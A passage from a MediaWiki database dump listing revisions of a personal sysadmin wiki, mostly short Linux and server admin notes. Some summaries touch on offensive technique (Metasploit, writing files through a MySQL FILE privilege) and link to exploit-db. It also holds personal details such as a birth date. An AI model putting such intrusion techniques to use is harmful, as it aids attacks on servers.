to test if Mod_ReWrite is working correctly on a server. This script comes from a tutorial I found [http://www.wallpaperama.com/forums/how-to-test-check...',1,'WikiAdmin','20090630124823',0,0,3026,0),(688,218,686,'',1,'WikiAdmin','20090630125217',0,0,3337,687),(689,218,687,'',1,'WikiAdmin','20090630125256',0,0,3339,688),(694,219,692,'New page: Using a mailto: function in HTML for a mail form is very bad form.  PHP is the better way to go as you can do full input validation, etc. You can of course just use an HTML based email for...',1,'WikiAdmin','20090715165829',0,0,1098,0),(696,220,694,'New page: The Metasploit 3 framework has some pretty serious features, allowing you to easily launch attacks against a target host by customising an exploit and payload to deliver. It is a very powe...',1,'WikiAdmin','20090722235427',0,0,3767,0),(697,221,695,'New page: \'\'\'Cisco VPN Client Install\'\'\'  Ensure you have your VPN access enabled (contact Dan P.)  You can get the VPN client (and Sago .pcf config) file for Windows and Linux from:  http://www.tim...',1,'WikiAdmin','20090805134455',0,0,919,0),(698,221,696,'',1,'WikiAdmin','20090805172940',0,0,1842,697),(728,221,726,'',1,'WikiAdmin','20090823012131',0,0,2494,698),(777,221,775,'',1,'WikiAdmin','20091113230553',0,0,4171,728),(699,222,697,'New page: So you don\'t have to always figure out where the config files are for common apps:  \'\'\'Bamboo\'\'\'  bamboo_system_files/application/config/database.php   \'\'\'Gallery\'\'\'  /www/gallery2Timelord...',1,'WikiAdmin','20090805203920',0,0,387,0),(700,222,698,'',1,'WikiAdmin','20090805215021',0,0,455,699),(701,222,699,'',1,'WikiAdmin','20090805215156',0,0,586,700),(727,222,725,'',1,'WikiAdmin','20090822014516',0,0,1316,701),(781,222,779,'',1,'WikiAdmin','20091120150834',0,0,1366,727),(1199,222,1197,'',1,'WikiAdmin','20101030211546',0,0,1367,781),(705,223,703,'New page:  == Bash ==  \'\'\'egrep\'\'\'  egrep supports extended regex. For example, use a pipe for either/or searches:   #grep \'user|root\' /etc/passwd  You can pattern match any number of occurences of ...',1,'WikiAdmin','20090808181801',0,0,680,0),(707,224,705,'New page: == sg3_utils ==  (sg - SCSI generic)  Using sg3_utils you are able to send identify SCSI devices, send commands to them and view their internal logs, etc.   [http://tldp.org/HOWTO/SCSI-Gen...',1,'WikiAdmin','20090810231859',0,0,2523,0),(713,225,711,'New page:   Various notes and tricks on using Sun Studio and the Sun C compiler.  To turn on verbose output with cc use -# to do the same with CC use -V  If you are getting an error such as:    cc: ...',1,'WikiAdmin','20090814020956',0,0,1026,0),(715,225,713,'/* ICC Notes */',1,'WikiAdmin','20090814023010',0,0,1109,713),(716,225,714,'',1,'WikiAdmin','20090816154944',0,0,1473,715),(714,226,712,'New page:  Can\'t wait to try this out!  http://www.linuxjournal.com/article/10268  http://prefetch.net/blog/index.php/2006/09/23/running-linux-applications-in-solaris-linux-branded-zones/',1,'WikiAdmin','20090814021047',0,0,177,0),(724,227,722,'New page: == Logwatch ==  You can enable logwatch and set MailTo = root in logwatch.conf. Then set up a .forward for root next. Default cpanel configs are at /usr/share/logwatch/default.conf/logwatc...',1,'WikiAdmin','20090821131014',0,0,1442,0),(725,227,723,'/* Backups */',1,'WikiAdmin','20090821132315',0,0,2064,724),(726,227,724,'/* Backups */',1,'WikiAdmin','20090821143003',0,0,2198,725),(729,228,727,'New page:  == General Ext3 FAQ ==  A good detailed FAQ, including detailed info, can be found [http://batleth.sapienti-sat.org/projects/FAQs/ext3-faq.html here]  == Ext3 Journaling Options and Write...',1,'WikiAdmin','20090828094636',0,0,1714,0),(730,229,728,'New page: == Configuring Apache and PHP on Suse Linux ==  There are some slight differences on configuring PHP and Apache on Suse.  Firstly of course you need to have installed the proper packages. ...',1,'WikiAdmin','20090829144434',0,0,1283,0),(731,230,729,'New page:   == Eclipse IDE ==    == Getting PHP Run As Functioning ==  Good General Eclipse Config guide  http://www.tigerheron.com/article/2008/01/eclipse-and-php  http://www.102degrees.com/blog/20...',1,'WikiAdmin','20090829144934',0,0,720,0),(742,230,740,'/* Getting PHP Run As Functioning */',1,'WikiAdmin','20090916112158',0,0,839,731),(760,230,758,'/* Getting PHP Run As Functioning */',1,'WikiAdmin','20091012233603',0,0,1086,742),(942,230,940,'/* Eclipse IDE */',1,'WikiAdmin','20100413202019',0,0,1206,760),(952,230,950,'/* Eclipse IDE */',1,'WikiAdmin','20100420141029',0,0,1312,942),(1138,230,1136,'/* Eclipse IDE */',1,'WikiAdmin','20100928212751',0,0,1380,952),(1139,230,1137,'/* Getting PHP Run As Functioning */',1,'WikiAdmin','20100929143019',0,0,1466,1138),(733,231,731,'New page:  Here is a good summarized [http://www.abbeyworkshop.com/howto/misc/svn01/ cheat sheet]  \'\'\'Here are some setup guides:\'\'\'  http://subversion.tigris.org/faq.html  http://wiki.centos.org/Ho...',1,'WikiAdmin','20090902184826',0,0,761,0),(734,231,732,'',1,'WikiAdmin','20090902185339',0,0,1971,733),(735,231,733,'',1,'WikiAdmin','20090902190044',0,0,2033,734),(736,231,734,'/* Version Control Commands */',1,'WikiAdmin','20090903122225',0,0,2368,735),(738,231,736,'',1,'WikiAdmin','20090903142000',0,0,2824,736),(741,231,739,'/* Subversion and Web Site Security */',1,'WikiAdmin','20090915133247',0,0,3057,738),(754,231,752,'/* Version Control Commands */',1,'WikiAdmin','20090924140458',0,0,3568,741),(755,231,753,'',1,'WikiAdmin','20090924140622',0,0,3659,754),(935,231,933,'',1,'WikiAdmin','20100408230110',0,0,3838,755),(936,231,934,'',1,'WikiAdmin','20100409034324',0,0,4528,935),(937,231,935,'',1,'WikiAdmin','20100409040021',0,0,4794,936),(940,231,938,'',1,'WikiAdmin','20100411121201',0,0,4932,937),(941,231,939,'',1,'WikiAdmin','20100411124401',0,0,5194,940),(1089,231,1087,'',1,'WikiAdmin','20100806162735',0,0,5961,941),(1105,231,1103,'',1,'WikiAdmin','20100809141706',0,0,6163,1089),(1117,231,1115,'',1,'WikiAdmin','20100823152536',0,0,6297,1105),(1189,231,1187,'',1,'WikiAdmin','20101026124226',0,0,6382,1117),(1190,231,1188,'',1,'WikiAdmin','20101026192257',0,0,6913,1189),(1236,231,1234,'/* Moving Repos */',1,'WikiAdmin','20101109174140',0,0,7062,1190),(737,232,735,'New page:  Checking SSL Certificate expiration in the command line with openssl is [http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html here].',1,'WikiAdmin','20090903123443',0,0,153,0),(879,232,877,'',1,'WikiAdmin','20100301133601',0,0,478,737),(880,232,878,'',1,'WikiAdmin','20100301134308',0,0,711,879),(883,232,881,'',1,'WikiAdmin','20100303193817',0,0,1102,880),(953,232,951,'',1,'WikiAdmin','20100427162846',0,0,1184,883),(1000,232,998,'',1,'WikiAdmin','20100622133806',0,0,2477,953),(1176,232,1174,'',1,'WikiAdmin','20101014191554',0,0,2567,1000),(739,233,737,'New page: == Methods to Reference Partitions ==  There are three methods of specifying device names in fstab. Each has some benefits are draw backs.  Logical Block Device Names: /dev/sda1  UUID: 768...',1,'WikiAdmin','20090909122807',0,0,2169,0),(740,233,738,'/* Methods to Reference Partitions */',1,'WikiAdmin','20090909124023',0,0,2841,739),(743,234,741,'New page:   == Intro ==  The Luster administration manual is 500 pages, and while filled with great info and very complete it is a bit daunting to do a quick set up. Following these steps you should...',1,'WikiAdmin','20090918180252',0,0,2115,0),(744,234,742,'/* Ubuntu Client */',1,'WikiAdmin','20090918190503',0,0,2790,743),(745,234,743,'/* Intro */',1,'WikiAdmin','20090918190721',0,0,3048,744),(746,234,744,'/* Setting up a Lustre Cluster */',1,'WikiAdmin','20090918193200',0,0,4472,745),(747,234,745,'/* Managing Lustre */',1,'WikiAdmin','20090918193349',0,0,4616,746),(748,234,746,'/* Intro */',1,'WikiAdmin','20090918195236',0,0,4875,747),(749,234,747,'/* Setting up a Lustre Cluster */',1,'WikiAdmin','20090918195740',0,0,5129,748),(750,234,748,'/* Compiling Patchless Client from Source (Red Hat */',1,'WikiAdmin','20090918195944',0,0,5129,749),(751,234,749,'/* Setting up a Lustre Cluster */',1,'WikiAdmin','20090918203307',0,0,5315,750),(752,234,750,'/* Setting up a Lustre Cluster */',1,'WikiAdmin','20090918203354',0,0,5339,751),(753,234,751,'/* Monitoring File System Useage */',1,'WikiAdmin','20090919015101',0,0,5373,752),(759,235,757,'New page: == Piranha GUI ==  You can view the load balancer status by logging into Piranha. However, to restart named, or fail over the HA service you must do so via SSH or at the console.  Piranha ...',1,'WikiAdmin','20091012183951',0,0,2943,0),(761,236,759,'New page: == Reading Memory Addresses ==  For security reasons, it is not possible to directly read memory addresses.   http://www.gidforums.com/t-5159.html?highlight=memory+access  Here is a good a...',1,'WikiAdmin','20091025205404',0,0,2118,0),(763,236,761,'',1,'WikiAdmin','20091026145227',0,0,2492,761),(764,236,762,'',1,'WikiAdmin','20091026151406',0,0,3357,763),(768,236,766,'/* Reading Memory Addresses */',1,'WikiAdmin','20091031151812',0,0,3762,764),(769,236,767,'',1,'WikiAdmin','20091102234323',0,0,5319,768),(770,236,768,'/* Conditional Operators */',1,'WikiAdmin','20091102234621',0,0,5406,769),(772,236,770,'/* Common Mistakes */',1,'WikiAdmin','20091107163229',0,0,5710,770),(773,236,771,'/* Memory Management */',1,'WikiAdmin','20091107164924',0,0,6475,772),(774,236,772,'/* Memory Management */',1,'WikiAdmin','20091107180747',0,0,6806,773),(796,236,794,'/* Debugging: gdb */',1,'WikiAdmin','20100111000341',0,0,6947,774),(899,236,897,'/* Floating Points and IEE 754 */',1,'WikiAdmin','20100315222242',0,0,7404,796),(915,236,913,'/* Books Books Books */',1,'WikiAdmin','20100325133105',0,0,7678,899),(917,236,915,'/* Books Books Books */',1,'WikiAdmin','20100325163602',0,0,7852,915),(1344,236,1342,'/* Books Books Books */',1,'WikiAdmin','20110103163658',0,0,7952,917),(762,237,760,'New page:  Ellwood \"Bunky\" Bartlett in 2007 won the lottery and stated he wanted to open a Wiccan seminary which would offer a variety of classes in both occultism and vocational training.  The name...',1,'WikiAdmin','20091026125930',0,0,468,0),(765,238,763,'New page:   xrandr --auto --output default --rotate left --mode 1050x1680',1,'WikiAdmin','20091029015555',0,0,63,0),(767,238,765,'',1,'WikiAdmin','20091029021643',0,0,295,765),(766,239,764,'New page: \'\'\'Ultimate Edition:\'\'\'  See the Ultima Readme.txt, readme.txt,PatchReadme.txt, and Unofficial Arcanum Patch.txt files for info.  Ultimate edition includes the no CD patch, the last offici...',1,'WikiAdmin','20091029021539',0,0,1748,0),(969,239,967,'',1,'WikiAdmin','20100521222614',0,0,2364,766),(776,240,774,'New page: Still waiting for my Moller Sky Car. . .    \'\'\'Medical Examiner\'\'\'  http://flightphysical.com/addmap2.cgi?12171  Frederick W Campbell, JR MD 3000 E. FLETCHER AVE STE 120 TAMPA, FLORIDA   3...',1,'WikiAdmin','20091111235055',0,0,243,0),(778,241,776,'New page: Sometimes getting fancy multimedia keyboards to work under Linux can be a bit tricky. Basic functionality is usually not the issue, but getting all the media and function keys to work is s...',1,'WikiAdmin','20091117023855',0,0,1579,0),(780,241,778,'',1,'WikiAdmin','20091118223254',0,0,1943,778),(784,241,782,'',1,'WikiAdmin','20091121215704',0,0,2357,780),(779,242,777,'New page:   Pascal\'s Triangle is pretty nifty. A simple number sequence, arranged in a triangle and from which are derived many curious things. Within the rows you find the sequence of integers, the...',1,'WikiAdmin','20091118150657',0,0,694,0),(782,243,780,'New page:  \'\'\'Converting VMWare Images\'\'\'  There are several ways to convert between VMWare and Virtualbox format images. This article lists gives two, with a few more given in the comments as well:...',1,'WikiAdmin','20091121163046',0,0,561,0),(783,243,781,'',1,'WikiAdmin','20091121165628',0,0,663,782),(934,243,932,'',1,'WikiAdmin','20100407221619',0,0,1003,783),(1266,243,1264,'',1,'WikiAdmin','20101207013325',0,0,2363,934),(1376,243,1374,'',1,'WikiAdmin','20110117165637',0,0,2759,1266),(1377,243,1375,'',1,'WikiAdmin','20110117194244',0,0,3494,1376),(785,244,783,'New page:   Official Samsung [http://www.samsung.com/us/support/detail/supportPrdDetail.do?menu=SP01&prd_ia_cd=02010100&prd_mdl_cd=LN46B640R3FUZA&prd_mdl_name=LN46B640R3F spec site]  Official Samsun...',1,'WikiAdmin','20091129204757',0,0,533,0),(786,244,784,'',1,'WikiAdmin','20091129205132',0,0,697,785),(787,245,785,'New page:   == Arduino: Microcontroller Programming for Anyone==   The official Arduino site is [http://arduino.cc/en here]  For a very first project, you might want to try this from [http://www.hac...',1,'WikiAdmin','20091202205126',0,0,346,0),(910,245,908,'',1,'WikiAdmin','20100325122816',0,0,536,787),(911,245,909,'',1,'WikiAdmin','20100325131721',0,0,562,910),(920,245,918,'',1,'WikiAdmin','20100328231728',0,0,1219,911),(921,245,919,'/* Arduino: Microcontroller Programming for Anyone */',1,'WikiAdmin','20100328232357',0,0,1483,920),(924,245,922,'/* Arduino: Microcontroller Programming for Anyone */',1,'WikiAdmin','20100402054754',0,0,2155,921),(932,245,930,'',1,'WikiAdmin','20100406113639',0,0,2403,924),(933,245,931,'',1,'WikiAdmin','20100406115141',0,0,2951,932),(938,245,936,'',1,'WikiAdmin','20100409203846',0,0,3076,933),(956,245,954,'',1,'WikiAdmin','20100510122637',0,0,3195,938),(1188,245,1186,'',1,'WikiAdmin','20101020232602',0,0,3468,956),(1197,245,1195,'',1,'WikiAdmin','20101030144335',0,0,3623,1188),(789,246,787,'New page: ethtool allows for various characteristics of the network interface to be modified. It is also capable of providing a high degree of information about the interface, and in some cases can ...',1,'WikiAdmin','20100101190352',0,0,1052,0),(795,247,793,'New page: There are a number of different graphical front ends for gdb. Here are some links for some of the most popular:   == Graphical Debugging Tools ==  \'\'\'Curses mode for gdb:\'\'\'  http://stacko...',1,'WikiAdmin','20100111000208',0,0,1537,0),(797,247,795,'/* Graphical Debugging Tools */',1,'WikiAdmin','20100111000603',0,0,1633,795),(800,248,798,'New page: [[image:Scroll.jpg|right]]  <h3><font color=\"blue\">\'\'\'\'\'Scientia Perscribo Posteri\'\'\'\'\' </font></h3>  \'\'Knowledge written for those\'\' who follow, or \'\'YTMND\'\'.   Here are notes of various ...',1,'WikiAdmin','20100115203820',0,0,15335,0),(801,249,799,'New page: For a general outline of how PXE and the install network works, see [[PXE_Explanation PXE Explanation]]. More info on Cobbler can be found [[Cobbler_PXE_Install_Manager here]]  == Design O...',1,'WikiAdmin','20100115203912',0,0,2449,0),(806,249,804,'',1,'WikiAdmin','20100115204804',0,0,2428,801),(802,250,800,'New page: == PXE Documentation ==   Also see [[Cobbler_PXE_Install_Manager]] and [[Install_Network_Servers]] which describes the specific functions each server performs.  <font color=\"red\">NOTE: Do ...',1,'WikiAdmin','20100115204048',0,0,6785,0),(803,251,801,'New page: == Sago Recovery Environment ==  This is based on RIP 8.2 and simply included the customers /etc/shadow. It places a kernel and customized initrd in /boot and adds an entry to grub. This  ...',1,'WikiAdmin','20100115204216',0,0,1326,0),(804,252,802,'New page: == Testing IDE/SATA HDs using SMART: ==  Further information on smartctl and interpretation of SMART data can be found at [[SMART Drive Monitoring]]  More information on how the results fr...',1,'WikiAdmin','20100115204427',0,0,2347,0),(1040,252,1038,'',1,'WikiAdmin','20100713202544',0,0,3012,804),(807,253,805,'New page: (Ticket #207518 - need advanced server is an example of a cluster request. This article is written to broadly address providing cluster solutions, and the above is merely an example.)  Whe...',1,'WikiAdmin','20100120142712',0,0,3750,0),(808,253,806,'',1,'WikiAdmin','20100120142754',0,0,3776,807),(809,254,807,'New page: Below are the steps to creating a Container.  The order below is what has worked best for me:   \'\'\'1.  Create the Device\'\'\' (this will be referenced during the container installation)  Per...',1,'WikiAdmin','20100120153326',0,0,2943,0),(810,254,808,'',1,'WikiAdmin','20100120153415',0,0,2797,809),(811,255,809,'New page: Samsung serial cable: <pre> dCables 1198 Commerce Drive Richardson, TX 75081 dcables.net  Item DCR003G  Gold plated 3.5mm stero plug to db9 female W/ ferrite beads for $9.99 </pre>   Uber ...',1,'WikiAdmin','20100120231320',0,0,325,0),(813,256,811,'New page:  To add a floating clock in your screen session, just add this line to /etc/screenrc  caption always \"%{+b wk}%-21=%D %d.%m.%Y %0c\"',1,'WikiAdmin','20100128030736',0,0,131,0),(1342,256,1340,'',1,'WikiAdmin','20110103162911',0,0,708,813),(1343,256,1341,'',1,'WikiAdmin','20110103163003',0,0,730,1342),(1365,256,1363,'',1,'WikiAdmin','20110112175148',0,0,835,1343),(814,257,812,'New page: Need to install a pdf print driver in Linux so you can print to a pdf file instead of a local printer?  Do you have a pdf form you filled out, but it won\'t let you save it?  Install the cu...',1,'WikiAdmin','20100128033516',0,0,2448,0),(815,257,813,'',1,'WikiAdmin','20100128033717',0,0,2669,814),(1373,257,1371,'',1,'WikiAdmin','20110115155741',0,0,2713,815),(1374,257,1372,'',1,'WikiAdmin','20110115164823',0,0,3213,1373),(817,258,815,'New page:  New Wacom bamboo pen + touch support (model 460), patching the Linux wacom drivers:  http://ubuntuforums.org/showpost.php?p=8262965&postcount=541  http://ubuntuforums.org/showthread.php?t...',1,'WikiAdmin','20100131013549',0,0,8826,0),(818,259,816,'New page:    == Syd ==  http://www.theparisreview.org/viewbook.php/prmMID/5976',1,'WikiAdmin','20100131210729',0,0,68,0),(821,259,819,'',4,'Kyle','20100202011453',0,0,238,818),(819,260,817,'New page: Here are some links on configuring Mediatomb:  For Mediatomb streaming to PS3 and transcoding edits to config.xml: http://forums.fedoraforum.org/showthread.php?p=924980   /home/paracelsus/...',1,'WikiAdmin','20100131212136',0,0,6669,0),(1243,260,1241,'',1,'WikiAdmin','20101114221014',0,0,7694,819),(822,261,820,'New page: == Why Chat ==  I\'ve found on line classes at SPC to be not that great of an experience, largely due to the complete isolation of students imposed by Angel.   Angel\'\'\' \'\'really\'\'\'\'\' lakes ...',1,'WikiAdmin','20100202023617',0,0,3745,0),(823,261,821,'/* Internet Relay Chat */',1,'WikiAdmin','20100202025926',0,0,3922,822),(824,261,822,'',1,'WikiAdmin','20100203015825',0,0,3922,823),(825,262,823,'New page:    DOB: 05/13/1967  Gift ideas:',1,'WikiAdmin','20100205201114',0,0,31,0),(826,263,824,'New page:   == Xend and Virt-install ==   [root@station19 ~]# virt-install -p -n vcracker -r 256 -f /dev/vol0/lv.cracker -w network:default -l http://instructor.example.com/pub -x ks=http://instruct...',1,'WikiAdmin','20100208160627',0,0,560,0),(827,263,825,'/* Xend and Virt-install */',1,'WikiAdmin','20100208160943',0,0,652,826),(828,263,826,'/* Xend and Virt-install */',1,'WikiAdmin','20100208174217',0,0,964,827),(829,263,827,'/* Xend and Virt-install */',1,'WikiAdmin','20100208174623',0,0,1056,828),(830,263,828,'/* Xend and Virt-install */',1,'WikiAdmin','20100208204511',0,0,1154,829),(831,263,829,'/* EPEL */',1,'WikiAdmin','20100208220901',0,0,1332,830),(832,263,830,'/* syslog */',1,'WikiAdmin','20100209154325',0,0,2266,831),(833,263,831,'/* Automounts */',1,'WikiAdmin','20100209155019',0,0,2322,832),(834,263,832,'/* initscripts options */',1,'WikiAdmin','20100209160119',0,0,2426,833),(835,263,833,'/* initscripts options */',1,'WikiAdmin','20100209160433',0,0,2495,834),(836,263,834,'/* initscripts options */',1,'WikiAdmin','20100209212337',0,0,2985,835),(837,263,835,'/* ACL Permissions */',1,'WikiAdmin','20100209213607',0,0,3301,836),(838,263,836,'/* User Accounts */',1,'WikiAdmin','20100209214305',0,0,3497,837),(839,263,837,'/* User Accounts */',1,'WikiAdmin','20100209220142',0,0,3647,838),(840,263,838,'/* User Accounts */',1,'WikiAdmin','20100209221450',0,0,3722,839),(841,263,839,'/* ACL Permissions */',1,'WikiAdmin','20100209222558',0,0,3807,840),(842,263,840,'/* Xend and Virt-install */',1,'WikiAdmin','20100210133848',0,0,3892,841),(843,263,841,'/* User Accounts */',1,'WikiAdmin','20100210141507',0,0,3980,842),(844,263,842,'/* User Accounts */',1,'WikiAdmin','20100210142734',0,0,4466,843),(845,263,843,'/* Autofs */',1,'WikiAdmin','20100210144615',0,0,5467,844),(846,263,844,'/* PAM */',1,'WikiAdmin','20100210144814',0,0,5567,845),(847,263,845,'/* PAM */',1,'WikiAdmin','20100210151519',0,0,6308,846),(848,263,846,'/* PAM */',1,'WikiAdmin','20100210151717',0,0,6353,847),(849,263,847,'/* PAM */',1,'WikiAdmin','20100210154503',0,0,6552,848),(850,263,848,'/* File system Quotas */',1,'WikiAdmin','20100210162316',0,0,7801,849),(851,263,849,'/* SE Linux */',1,'WikiAdmin','20100210174647',0,0,8361,850),(852,263,850,'/* SE Linux */',1,'WikiAdmin','20100210175133',0,0,8780,851),(853,263,851,'/* SE Linux */',1,'WikiAdmin','20100210180455',0,0,9114,852),(854,263,852,'/* Netfilter / iptables */',1,'WikiAdmin','20100210180803',0,0,9123,853),(855,263,853,'/* Netfilter / iptables */',1,'WikiAdmin','20100210181552',0,0,9253,854),(856,263,854,'/* Netfilter / iptables */',1,'WikiAdmin','20100210181918',0,0,9315,855),(857,263,855,'/* Netfilter / iptables */',1,'WikiAdmin','20100210183227',0,0,9698,856),(858,263,856,'/* Netfilter / iptables */',1,'WikiAdmin','20100210183651',0,0,9943,857),(859,263,857,'/* Netfilter / iptables */',1,'WikiAdmin','20100210183839',0,0,10014,858),(860,263,858,'/* Netfilter / iptables */',1,'WikiAdmin','20100210190635',0,0,10743,859),(861,263,859,'/* Netfilter / iptables */',1,'WikiAdmin','20100210193215',0,0,11407,860),(862,263,860,'/* tcp wrappers */',1,'WikiAdmin','20100210214251',0,0,11705,861),(863,263,861,'/* Apache & Squid */',1,'WikiAdmin','20100210221836',0,0,12134,862),(864,263,862,'/* Apache & Squid */',1,'WikiAdmin','20100211180817',0,0,14042,863),(865,263,863,'/* Network File Sharing */',1,'WikiAdmin','20100211184600',0,0,14403,864),(866,263,864,'/* SE Linux */',1,'WikiAdmin','20100211185934',0,0,14390,865),(867,263,865,'/* Network File Sharing */',1,'WikiAdmin','20100211200021',0,0,14540,866),(868,263,866,'/* Network File Sharing */',1,'WikiAdmin','20100211203542',0,0,15410,867),(869,263,867,'/* MTA Config */',1,'WikiAdmin','20100211205050',0,0,15402,868),(870,263,868,'/* Network File Sharing */',1,'WikiAdmin','20100211221117',0,0,15867,869),(872,263,870,'/* Network File Sharing */',1,'WikiAdmin','20100213192059',0,0,16336,870),(873,263,871,'/* Network File Sharing */',1,'WikiAdmin','20100213210316',0,0,17009,872),(871,264,869,'New page: <pre> [root@server19 /]# cat /var/named/chroot/etc/named.conf // // named.caching-nameserver.conf // // Provided by Red Hat caching-nameserver package to configure the // ISC BIND named(8)...',1,'WikiAdmin','20100211222153',0,0,1516,0),(874,265,872,'New page: == pdflush tunables ==  This is a sneaky one that come up from time to time: sometimes you will see messages showing up in /var/log/messages (or /var/log/kern.log)indicating issues with th...',1,'WikiAdmin','20100218205158',0,0,2355,0),(875,266,873,'New page: Setting up an LDAP server in Suse is pretty straight forward. You can then easily export home directories via nfs and set up the automouter on clients to auto mount LDAP user home director...',1,'WikiAdmin','20100219154601',0,0,1266,0),(876,267,874,'New page: Many popular distros support the PowerPC architecture, so if you have an older Mac (G3, G4, G5) or a Playstation you have a number of options. For a full list see [[http://penguinppc.org/a...',1,'WikiAdmin','20100220140910',0,0,969,0),(877,267,875,'',1,'WikiAdmin','20100220141950',0,0,1063,876),(881,268,879,'New page:  \'\'\'Frozen SSH Session:\'\'\'  End the connection and return to the parent shell with: [enter]~. (That is press and hold: Enter, then tilda, then period.)',1,'WikiAdmin','20100301134531',0,0,151,0),(1034,268,1032,'',1,'WikiAdmin','20100704224202',0,0,135,881),(882,269,880,'New page: [[http://wiki.squid-cache.org/SquidFaq/SquidLogs#squid_result_codes Result Codes]] are handy to have.  The FAQ is [[http://wiki.squid-cache.org/SquidFaq here]]  How to make squid not cache...',1,'WikiAdmin','20100301204448',0,0,1251,0),(1090,269,1088,'',1,'WikiAdmin','20100807195803',0,0,1682,882),(884,270,882,'New page: Test servers: 208.38.164.20 -21   When trying to follow the tutorial at http://cfengine.com/pages/demos?view=Installation The steps result in an error: missing failsafe.cf as the config fi...',1,'WikiAdmin','20100305011708',0,0,1427,0),(888,270,886,'',1,'WikiAdmin','20100308004708',0,0,2086,884),(889,270,887,'/* vim highlighting */',1,'WikiAdmin','20100308004906',0,0,2176,888),(943,270,941,'/* vim highlighting */',1,'WikiAdmin','20100414160034',0,0,2279,889),(944,270,942,'/* vim highlighting */',1,'WikiAdmin','20100414161633',0,0,2921,943),(945,270,943,'/* First Promises */',1,'WikiAdmin','20100414164858',0,0,3233,944),(946,270,944,'/* First Promises */',1,'WikiAdmin','20100414165240',0,0,3392,945),(1123,270,1121,'',1,'WikiAdmin','20100914123209',0,0,3799,946),(892,271,890,'New page:  Information on the Intel Core i3 and i5 architecture:  http://techreport.com/articles.x/18216  Various Tiger Direct notbooks, including some i3 and i5 ones:  http://www.tigerdirect.com/ap...',1,'WikiAdmin','20100313010628',0,0,704,0),(893,271,891,'',1,'WikiAdmin','20100313014402',0,0,834,892),(896,272,894,'New page:  Super great intro to curl is: http://www.tuxradar.com/practicalphp/15/10/2  Note that you need to specify the returntransfer option to get the full results returned rather than a simple b...',1,'WikiAdmin','20100314191952',0,0,464,0),(1118,272,1116,'',1,'WikiAdmin','20100824140618',0,0,571,896),(1119,272,1117,'',1,'WikiAdmin','20100824141221',0,0,688,1118),(897,273,895,'New page:  Chapter6: Non-consequential Ethical Theories   Socrates: Morality: Laws, rules, standards of conduct, etc. Ethics: Study of morality',1,'WikiAdmin','20100314202456',0,0,133,0),(898,274,896,'New page: Here is just a big old mess of notes on what I did to get this to compile - before learning there is a makefile in the branches svn tree :)   <pre>  paracelsus@anduril:~/twitcurl-read-only...',1,'WikiAdmin','20100314235425',0,0,4590,0),(900,275,898,'New page:  I have the kernel and initrd for my Ubuntu Linux distro (on an SD card) on my primary SDD, which runs Solaris. This way, I boot the kernel and initrd off the hard drive, then point the ro...',1,'WikiAdmin','20100319130943',0,0,2105,0),(901,276,899,'New page: If you have access as a MySQL user, you may be able to create files with content you specify.  This requires that the mysql user have the global FILE permission though, so you will likely ...',1,'WikiAdmin','20100319203445',0,0,1687,0),(902,276,900,'',1,'WikiAdmin','20100319203525',0,0,1749,901),(903,276,901,'',1,'WikiAdmin','20100319203807',0,0,1833,902),(904,276,902,'',1,'WikiAdmin','20100319203851',0,0,1890,903),(905,276,903,'',1,'WikiAdmin','20100319204317',0,0,1897,904),(906,276,904,'',1,'WikiAdmin','20100319205057',0,0,2468,905),(907,276,905,'',1,'WikiAdmin','20100319205121',0,0,2467,906),(908,276,906,'',1,'WikiAdmin','20100319205224',0,0,2461,907),(909,277,907,'New page: Sample to determine what debug libraries are needed to get debugging symbols.  http://techbase.kde.org/Development/Tutorials/Debugging/How_to_create_useful_crash_reports  http://packages.u...',1,'WikiAdmin','20100322133439',0,0,4179,0),(918,277,916,'',1,'WikiAdmin','20100325230711',0,0,4296,909),(912,278,910,'New page:   http://www.gaslampfantasy.com/  Massive index of various sites:  http://etheremporium.pbworks.com/Clothing-and-Costuming  Really cool CG animations from this contest:  http://features.cg...',1,'WikiAdmin','20100325132255',0,0,325,0),(913,279,911,'New page: The home page for [http://gnaural.sourceforge.net/ Gnaural] will get you started and you can get some sample sound files [http://pantheon.yale.edu/~bbl2/GnauralExampleFiles.html here]',1,'WikiAdmin','20100325132528',0,0,183,0),(914,280,912,'New page:  \'\'\'Debian\'\'\'  Setting up SSL and Vhosts in Debian is described in the following articles. Debian use a2... commands to enable and disable sites and Apache modules.   http://www.debianadmi...',1,'WikiAdmin','20100325132747',0,0,431,0),(919,281,917,'New page:  nvidia-xcongig --composite  nvidia-xconfig --render-accel  nividia-xconfig --add-argb-glx-visuals d24  <pre> # nvidia-xconfig: X configuration file generated by nvidia-xconfig # nvidia-xc...',1,'WikiAdmin','20100326192816',0,0,5565,0),(922,282,920,'New page: \'\'\'Solaris USB to Serial Adapter\'\'\'  Both of these single port USB to RS 232 Adapters are supported per the [http://www.sun.com/io_technologies/usb/USB-Faq.html#Serial Solaris USB FAQ]:  K...',1,'WikiAdmin','20100329162544',0,0,346,0),(923,283,921,'New page:  A very basic Linux Journal article is [http://www.linuxjournal.com/magazine/nginx-high-performance-web-server-and-reverse-proxy here]  [http://blogs.sun.com/dap/entry/event_ports_and_perf...',1,'WikiAdmin','20100331235950',0,0,240,0),(925,284,923,'New page:  SN: YM33885JNVR  PC 3200  [http://support.apple.com/kb/HT1305 Inside your G5]  [http://support.apple.com/kb/SP96 Tech Specs] for this G5 2004 Model   Apple Part Number 661-3144 Powermac G...',1,'WikiAdmin','20100402142447',0,0,447,0),(927,285,925,'New page:   Application Sources:  http://en.androidwiki.com/wiki/Applications  http://www.android.com/market/paid.html  A few Sample scube apps:  http://www.androlib.com/android.application.divestoc...',1,'WikiAdmin','20100404141852',0,0,290,0),(928,285,926,'',1,'WikiAdmin','20100404153626',0,0,797,927),(929,285,927,'/* Development Tutorials: */',1,'WikiAdmin','20100404154938',0,0,983,928),(930,285,928,'/* Getting Started */',1,'WikiAdmin','20100404184924',0,0,1973,929),(947,286,945,'New page:  Which states use [http://www.aamva.org/KnowledgeCenter/DLIDStandards/IDSecurityTechnologies/uslicensetechnology.htm aamva standard] drivers licenses.   Wikipedia [http://en.wikipedia.org/...',1,'WikiAdmin','20100414213607',0,0,752,0),(948,286,946,'',1,'WikiAdmin','20100414213841',0,0,789,947),(949,287,947,'New page:  Here are some examples to block out common exploits taken from [http://www.marcofolio.net/joomla/7_tips_to_optimize_joomla_security.html this site.]  <pre> ########## Begin - Rewrite rule...',1,'WikiAdmin','20100418124951',0,0,1355,0),(950,288,948,'New page:   Some Good Sites listing vulnerabilities:  http://www.exploit-db.com/  